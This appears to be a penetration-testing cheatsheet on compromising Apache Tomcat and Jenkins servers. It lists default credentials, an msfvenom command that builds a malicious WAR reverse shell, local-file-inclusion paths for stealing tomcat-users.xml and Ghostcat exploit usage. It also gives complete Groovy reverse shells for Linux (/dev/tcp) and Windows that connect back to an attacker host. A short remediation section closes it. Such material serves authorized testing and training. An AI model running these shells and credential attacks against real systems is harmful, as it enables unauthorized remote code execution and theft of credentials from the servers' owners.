π‘οΈ Methodology Checklist
- Tomcat: check version at
/RELEASE-NOTESor manager app - Default creds: tomcat/tomcat, admin/admin, tomcat/s3cret
- Manager app upload WAR:
msfvenom -p java/jsp_shell_reverse_tcp ... -f war -o shell.war - Jenkins: check
/scriptconsole (Groovy RCE) - Jenkins default: admin/admin or admin/[INSTANCE_ID]
- Jenkins pipeline script:
def cmd = "id".execute(); println cmd.text - Enumerate Jenkins credentials store for stored secrets
π― Operational Context
Use when: Apache Tomcat or Jenkins identified β default creds for manager panel, WAR file deployment for RCE (Tomcat), or Groovy script console execution (Jenkins).
Think Dumber First: Tomcat: admin/admin, tomcat/s3cret, tomcat/tomcat on /manager/html. If any work, upload malicious WAR = instant RCE. Jenkins: /script endpoint with Groovy console if authenticated. println 'id'.execute().text.
Skip when: No web panel access and no credential vector β check for CVEs like Ghostcat (AJP connector) instead.
β‘ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
nmap -sV -p 8009,8080,8180,8443 [TARGET_IP] | Scan Tomcat ports (AJP 8009, HTTP 8080/8180, HTTPS 8443) |
curl -s http://[TARGET_IP]:[PORT]/invalid | Trigger 404 β leak Tomcat version in error page |
curl -s http://[TARGET_IP]:[PORT]/docs/ | grep Tomcat | Alternative version leak via docs page |
curl -s http://[TARGET_IP]:[PORT]/[LFI]?file=/usr/local/tomcat/conf/tomcat-users.xml | LFI to steal Tomcat credentials (plaintext) |
msfvenom -p java/jsp_shell_reverse_tcp LHOST=[LHOST] LPORT=[LPORT] -f war > shell.war | Generate malicious WAR file |
curl http://[TARGET_IP]:[PORT]/shell/ β nc -lvnp [LPORT] | Trigger deployed WAR β catch reverse shell |
python2.7 tomcat-ajp.lfi.py [TARGET_IP] -p 8009 -f WEB-INF/web.xml | Ghostcat (CVE-2020-1938) β LFI via AJP port 8009 |
nmap -sV -sC -p 8000,8080,5000 [TARGET_IP] | Scan Jenkins ports (web 8080/8000, agent 5000) |
curl -i http://jenkins.[DOMAIN]:[PORT]/script | Access Jenkins Script Console (check if unauth) |
def proc = "id".execute(); proc.waitFor(); println proc.in.text | Jenkins Groovy RCE β Linux id check |
r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/[LHOST]/[LPORT];cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor() | Jenkins Groovy reverse shell β Linux |
def cmd = "cmd.exe /c whoami".execute(); println("${cmd.text}") | Jenkins Groovy RCE β Windows |
π¬ Deep Dive & Workflow
Tomcat Architecture
Key paths:
/manager/html β GUI (requires manager-gui role)
/host-manager/html β Virtual host management
conf/tomcat-users.xml β Credentials in plaintext
WEB-INF/web.xml β App routes + class mappings
Role hierarchy: manager-gui > manager-script > manager-jmx > manager-status (read-only, cannot upload WAR)
Tomcat WAR Shell Deployment
1. Generate WAR: msfvenom -p java/jsp_shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f war > shell.war
2. Navigate to http://[TARGET]:[PORT]/manager/html
3. Scroll to "WAR file to deploy" β browse β select shell.war β Deploy
4. Start listener: nc -lvnp [PORT]
5. Trigger: curl http://[TARGET]:[PORT]/shell/
(WAR name = URL path: shell.war β /shell/)
Default creds to try: tomcat:tomcat, admin:admin, tomcat:s3cret, admin:password
MSF Quick Reference (Tomcat)
| Module | Purpose |
|---|---|
auxiliary/scanner/http/tomcat_mgr_login | Brute force manager creds |
multi/http/tomcat_mgr_upload | Automate WAR upload + execution |
auxiliary/admin/http/tomcat_ghostcat | Check Ghostcat (CVE-2020-1938) |
Debug: set PROXIES HTTP:127.0.0.1:8080 to route MSF through Burp.
Jenkins Attack Flow
1. nmap β find ports 8080/8000 (web) + 5000 (agent = Jenkins indicator)
2. Add to /etc/hosts: [IP] jenkins.[DOMAIN]
3. Browse to /script β sometimes accessible without auth
4. Default creds: admin:admin, admin:password, jenkins:jenkins
5. Script Console β Groovy β RCE (runs as root/SYSTEM)
Jenkins Groovy reverse shell (Linux):
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/[LHOST]/[LPORT];cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()Escape $ in Groovy: Use \$ in bash loops β Groovy interprets bare $ as variable.
Jenkins Groovy reverse shell (Windows):
String host="[LHOST]";
int port=[LPORT];
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();po.flush();
Thread.sleep(50);
try {p.exitValue();break;}catch (Exception e){}
};
p.destroy();s.close();Use the Windows variant when the Jenkins controller runs on Windows β the Linux /dev/tcp shell wonβt work there; this ProcessBuilder + Socket loop pipes cmd.exe over a raw socket instead.
Jenkins CVEs:
- v2.137 β CVE-2018-1999002 / CVE-2019-1003000 (pre-auth RCE)
- Groovy Sandbox bypass β CVE-2019-1003005
MSF: exploit/multi/http/jenkins_script_console
π οΈ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| Tomcat manager returns 403 | IP restriction on manager | Try: /host-manager/html, or connect via AJP port 8009 (Ghostcat CVE-2020-1938) |
| WAR upload deploys but no shell | Wrong payload format | Generate proper WAR: msfvenom -p java/jsp_shell_reverse_tcp LHOST=[LHOST] LPORT=[LPORT] -f war > shell.war |
| Jenkins script console returns error | Groovy syntax | Test: println 'whoami'.execute().text β verify Groovy not Groovy++ |
| Jenkins no script console | Operator-level not admin | Check /manage for available admin pages; look for Execute Groovy script in Build step |
| Tomcat default creds exhausted | Non-default password | Check conf/tomcat-users.xml if file read available; or brute with tomcat-specific wordlists |
π Reporting Trigger
Finding Title: Tomcat/Jenkins Default Credentials Enable Authenticated RCE Impact: Default credentials on Tomcat Manager or Jenkins admin panel allow authenticated remote code execution via WAR deployment or Groovy script console, compromising the application server and all applications it hosts. Root Cause: Default credentials not changed on deployment. Admin interfaces publicly accessible without IP restriction. No MFA on admin panels. Recommendation: Change default credentials on all Tomcat and Jenkins deployments. Restrict Manager and admin interfaces to management network IPs. Implement MFA for Jenkins authentication. Disable unused admin features. Apply latest security patches.